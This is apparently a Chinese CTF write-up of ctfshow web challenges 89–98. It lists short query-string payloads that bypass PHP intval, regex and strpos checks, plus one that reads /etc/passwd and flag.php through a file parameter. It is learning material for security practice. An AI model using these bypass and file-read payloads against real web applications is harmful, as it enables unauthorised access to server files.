因为没钱充ctfshow会员,只能跟着视频教程白嫖

89


intval绕过
提交一个不为空的数组即可绕过
?num[]= //就直接绕过了
intval详解

90


进制转换直接绕过
?num=0x117c

91


preg_match('/^php$/i' , $a)
终于知道后面地i是什么意思了,是匹配模式
i是大小写,m是多行匹配

?cmd=%0aphp //通过换行来绕过
preg_match('/^php$/i' , $a) //这个正则这匹配一行

92


看intval的那个教程
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

?num=010574
?num=0x117c

93


字母被ban了
?num=010574

94


strpos() 函数查找字符串在另一字符串中第一次出现的位置。
所以num中肯定要存在0,但不能是第一个
num=4476.0

95


num=_010574 //010574是4476八进制形式,因为要有0,但是这个不行
intval(_010574) === 4476 没过

num=+010574 //过了
对加号进行编码,也行
num=%27010574
空格也是可以的
num= 010574
num=%20010574
空格进行编码也可以

96


u=/etc/passwd //可以读文件
就是你要找到flag.php的位置
u=./flag.php
u=/var/www/html/flag.php //看报错得到这个绝对路径
u=/var/www/html/../html/flag.php

97

传数组
a[]=1&b[]=2

98

更多推荐

[WEB]php特性